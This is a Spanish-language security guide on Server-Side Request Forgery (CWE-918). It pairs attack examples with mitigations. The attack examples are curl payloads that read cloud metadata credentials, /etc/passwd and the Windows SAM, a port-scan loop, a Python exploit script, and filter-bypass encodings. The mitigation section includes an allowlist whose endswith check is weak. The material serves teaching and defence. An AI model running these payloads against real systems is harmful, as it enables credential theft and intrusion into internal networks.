Skip to content

Server-Side Request Forgery (SSRF)

CWE: CWE-918 - Server-Side Request Forgery
Problema: API hace requests a URLs controladas por atacante


¿Qué es SSRF?

La API acepta una URL del usuario y realiza una solicitud HTTP a esa URL. El atacante puede:

  • Acceder a sistemas internos (localhost, intranet)
  • Escanear puertos internos
  • Interactuar con servicios internos
  • Obtener archivos internos (file://)
  • Exfiltrar datos

Vectores de Ataque

1. URL Injection Directa

bash
# Endpoint valida URL
POST /api/proxy
{"url": "https://external-api.com/data"}

# Atacante prueba localhost
curl -X POST "https://api.app.com/api/proxy" \
  -d '{"url": "http://localhost:8080/admin"}'

# Respuesta contiene datos internos

2. Acceso a Metadata en Cloud

bash
# AWS EC2 Metadata
curl -X POST "https://api.app.com/api/fetch" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# Respuesta:
# iam/
# latest/
# ami-id/

# Obtener IAM credentials
curl -X POST "https://api.app.com/api/fetch" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"}'

# Resultado: AccessKeyId, SecretAccessKey, Token

3. Acceso a Archivos Locales

bash
# file:// protocol
curl -X POST "https://api.app.com/api/fetch" \
  -d '{"url": "file:///etc/passwd"}'

# Respuesta: Contenido de /etc/passwd

# Windows
curl -X POST "https://api.app.com/api/fetch" \
  -d '{"url": "file:///C:/Windows/System32/config/SAM"}'

4. Escaneo de Puertos Internos

bash
# Verificar qué puertos están abiertos
for port in 22 23 80 443 8080 3306 5432 6379 9200; do
  curl -X POST "https://api.app.com/api/fetch" \
    -d "{\"url\": \"http://localhost:$port\"}" \
    -w "Port $port: %{http_code}\n"
done

# Puertos con 200/301/302 = Abiertos

5. Interacción con Servicios Internos

bash
# MySQL
curl -X POST "https://api.app.com/api/fetch" \
  -d '{"url": "http://db-server:3306"}'

# Redis
curl -X POST "https://api.app.com/api/fetch" \
  -d '{"url": "http://redis-cache:6379"}'

# Elasticsearch
curl -X POST "https://api.app.com/api/fetch" \
  -d '{"url": "http://elasticsearch:9200"}'

Explotación

python
import requests
import urllib.parse

def ssrf_exploit(api_url, api_token):
    """
    Explotar SSRF
    """
    
    # URLs a probar
    targets = [
        "http://localhost:8080/admin",
        "http://127.0.0.1:3306",
        "http://169.254.169.254/latest/meta-data/",
        "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
        "file:///etc/passwd",
        "file:///etc/hosts",
        "http://admin:password@internal-db:5432/database",
    ]
    
    headers = {"Authorization": f"Bearer {api_token}"}
    
    for target in targets:
        try:
            response = requests.post(
                f"{api_url}/api/fetch",
                json={"url": target},
                headers=headers,
                timeout=5
            )
            
            if response.status_code == 200 and len(response.text) > 0:
                print(f"[✓] SSRF VULNERABLE: {target}")
                print(f"    Response: {response.text[:500]}")
            else:
                print(f"[-] {target}: {response.status_code}")
        
        except Exception as e:
            print(f"[!] {target}: {str(e)}")

# Ejecutar
ssrf_exploit("https://api.app.com", "token")

Bypass de Filtros

bash
# Blacklist bypasses
localhost 127.0.0.1
localhost 0
localhost 2130706433 (decimal)
localhost 0x7f000001 (hex)
example.com example.com@localhost
example.com localhost#example.com
example.com localhost.example.com

# Caso real:
curl -X POST "https://api.app.com/api/fetch" \
  -d '{"url": "http://127.0.0.1:8080/admin"}'

# Si "127.0.0.1" está bloqueado:
curl -X POST "https://api.app.com/api/fetch" \
  -d '{"url": "http://0:8080/admin"}'

# Si "localhost" está bloqueado:
curl -X POST "https://api.app.com/api/fetch" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/"}'

Mitigación

1. Whitelist de URLs

python
from urllib.parse import urlparse
import re

ALLOWED_DOMAINS = [
    'api.trustedpartner.com',
    'data.external-service.com'
]

@app.route('/api/fetch', methods=['POST'])
def fetch_url():
    url = request.json.get('url')
    
    # Validar URL
    try:
        parsed = urlparse(url)
    except:
        return {"error": "Invalid URL"}, 400
    
    # Whitelist de dominios
    allowed = False
    for domain in ALLOWED_DOMAINS:
        if parsed.netloc.endswith(domain):
            allowed = True
            break
    
    if not allowed:
        return {"error": "Domain not allowed"}, 403
    
    # Si pasa validación
    response = requests.get(url, timeout=5)
    return {"data": response.text}

2. Blacklist de IPs/URLs Peligrosas

python
import ipaddress

BLOCKED_IPS = [
    '127.0.0.1',
    '0.0.0.0',
    '169.254.169.254',  # AWS metadata
]

BLOCKED_PROTOCOLS = ['file', 'gopher', 'ftp', 'data']

def is_safe_url(url):
    """
    Verificar si URL es segura
    """
    
    parsed = urlparse(url)
    
    # Protocolo
    if parsed.scheme in BLOCKED_PROTOCOLS:
        return False
    
    # Host
    try:
        ip = ipaddress.ip_address(parsed.hostname or '')
        if ip.is_private or ip.is_loopback:
            return False
    except:
        pass
    
    # Palabras clave peligrosas
    if any(x in url.lower() for x in ['metadata', 'admin', 'internal']):
        return False
    
    return True

3. Timeout y Límite de Datos

python
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

# Configurar timeout
session = requests.Session()
session.timeout = 5  # 5 segundos máximo

# Límite de tamaño de respuesta
MAX_RESPONSE_SIZE = 1024 * 1024  # 1MB

def fetch_safe_url(url):
    try:
        response = session.get(url, stream=True, timeout=5)
        
        # Verificar tamaño
        if int(response.headers.get('content-length', 0)) > MAX_RESPONSE_SIZE:
            return {"error": "Response too large"}, 413
        
        # Leer en chunks
        data = b''
        for chunk in response.iter_content(chunk_size=1024):
            data += chunk
            if len(data) > MAX_RESPONSE_SIZE:
                return {"error": "Response too large"}, 413
        
        return {"data": data.decode('utf-8')}
    
    except requests.Timeout:
        return {"error": "Request timeout"}, 408
    except Exception as e:
        return {"error": str(e)}, 400

4. Usar Proxy/WAF

Usar servicios como:
- AWS WAF (bloquea IPs privadas)
- Cloudflare (filtra SSRF)
- Nginx reverse proxy (con validaciones)

Checklist

  • [ ] No aceptar URLs del usuario directamente
  • [ ] Whitelist de dominios permitidos
  • [ ] Blacklist de IPs privadas (127.0.0.1, 10.x, 192.168.x, etc)
  • [ ] Bloquear protocolos peligrosos (file://, gopher://)
  • [ ] Timeout en requests (máx 5 segundos)
  • [ ] Límite de tamaño de respuesta (máx 1-10MB)
  • [ ] DNS rebinding protection
  • [ ] Logging de requests salientes
  • [ ] WAF configurado